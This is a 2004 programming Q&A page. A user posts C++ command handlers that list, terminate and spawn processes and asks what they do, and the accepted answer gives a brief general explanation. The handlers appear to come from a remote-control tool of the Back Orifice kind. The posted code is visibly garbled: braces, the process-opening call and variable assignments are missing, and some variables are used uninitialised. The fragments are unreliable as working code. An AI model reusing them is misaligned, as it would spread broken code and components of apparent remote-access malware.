C++ und Delphi

Posted on 2004-03-28
Medium Priority
Last Modified: 2010-08-05
Hi Experts,
Can anybody tell me what this Code do:


bool BOAPI CmdProc_ProcessList( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      char svBuffer[1024];
      PROCESSINFO *pinfo,*cur;

      if(svArg2) if(svArg2[0]=='\0') svArg2=NULL;

      pinfo=fct->CreateProcListSnapshot(gs, svArg2);

      for(cur=pinfo;cur;cur=cur->next) {
            THREADINFO *pti;
            int nThreads;

            for(pti=cur->pThread;pti;pti=pti->next) nThreads++;
            api->pwsprintf(svBuffer,"(0x%X) %s  %d threads\n",cur->dwProcID,cur->svApp,nThreads);
            fct->IssueAuthCmdReply(gs, ctx, 0, svBuffer);
      fct->IssueAuthCmdReply(gs, ctx, 0, "End process list.\n");
      fct->DestroyProcListSnapshot(gs, pinfo);      
      return 0;

bool BOAPI CmdProc_ProcessKill( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )
      FCT *fct = &gs->fct;
      API *api = &gs->api;
      // Get pid string (hex)
      char *svPid;
      svPid=fct->BreakString(svArg2,"0X", gs);
      if( svPid==NULL ) svPid=svArg2;
      // Convert to dword
      DWORD dwPid;
      while(*svPid) {
            char c;

            if(c>='A' && c<='F') c=c-'A'+0xA;
            else if(c>='0' && c<='9') c-='0';
            else c=0;


      // Open process handle
      HANDLE hProc;
      if(hProc==NULL) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not access process.\n" );
            return false;
      if(api->pTerminateProcess(hProc,0)==0) {
            fct->IssueAuthCmdReply( gs, ctx, BCC_ERR, "Could not terminate process.\n" );
            return false;

      fct->IssueAuthCmdReply( gs, ctx, 0, "Process terminated.\n" );
      return true;

bool BOAPI CmdProc_ProcessSpawn( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 )

      HINSTANCE ShellExError;

            &pi)==0) {
            ShellExError = ShellExecute(NULL, "open", svArg2, NULL, NULL, si.wShowWindow);
            if (int(ShellExError)<= 32) {
                        gs->fct.IssueAuthCmdReply(gs,ctx,BCC_ERR,"Could not spawn process.\n");
                        return false;

      gs->fct.IssueAuthCmdReply( gs, ctx, 0, "Process spawned.\n" );
      return true;

Question by:k4hvd77
LVL 11

Accepted Solution

shaneholmes earned 2000 total points
ID: 10698333
In general terms, it simply,

CmdProc_ProcessSpawn = Executes a process (Application)

CmdProc_ProcessKill = Terminates a process (Applicatin)

CmdProc_ProcessList = a list of the processes, which it then iterates and does something with

You didn't provide the code for the following methods below:



Author Comment

ID: 10698957
Thank you shaneholmes ;)

Featured Post

Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

Join & Write a Comment

This article explains how to create forms/units independent of other forms/units object names in a delphi project. Have you ever created a form for user input in a Delphi project and then had the need to have that same form in a other Delphi proj…
Introduction The parallel port is a very commonly known port, it was widely used to connect a printer to the PC, if you look at the back of your computer, for those who don't have newer computers, there will be a port with 25 pins and a small print…
If you are looking for an automated solution for backup single or multiple Office 365 user mailboxes to Outlook data file, then you can use Kernel Office 365 Backup & Restore tool. Go through the video to check out the steps to backup single or mult…
When you have multiple client accounts to manage, it often feels like there aren’t enough hours in the day. With too many applications to juggle, you can’t focus on your clients, much less your growing to-do list. But that doesn’t have to be the cas…

590 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question